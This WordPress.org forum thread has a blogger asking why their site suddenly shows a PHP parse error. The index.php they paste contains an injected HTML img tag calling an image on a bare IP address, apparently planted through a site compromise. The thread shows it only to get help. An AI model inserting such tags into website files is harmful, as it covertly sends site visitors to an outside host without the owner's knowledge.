WordPress.org

Forums

Getting a Parse Error (5 posts)

  1. jram32
    Member
    Posted 2 years ago #

    My Blog was up and running perfect for about a month and then one day it said
    Parse error: syntax error, unexpected '<' in /data/16/1/28/64/1517227/user/1632803/htdocs/blog/index.php on line 18

    not sure why this happened.

    I have not edited any thing in the theme or out new plugins on since the blog was first started.

  2. jram32
    Member
    Posted 2 years ago #

    Can still get into the WP through /wp-admin so still not sure what is going on or why it did this

  3. esmi
    Forum Moderator
    Posted 2 years ago #

    What is in your WP root index.php file?

  4. jram32
    Member
    Posted 2 years ago #

    <?php
    /**
    * Front to the WordPress application. This file doesn't do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define('WP_USE_THEMES', true);

    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    <img height="1" width="1" border="0" src="http://89.144.57.86/163232.jpg">

  5. esmi
    Forum Moderator
    Posted 2 years ago #

Topic Closed

This topic has been closed to new replies.

About this Topic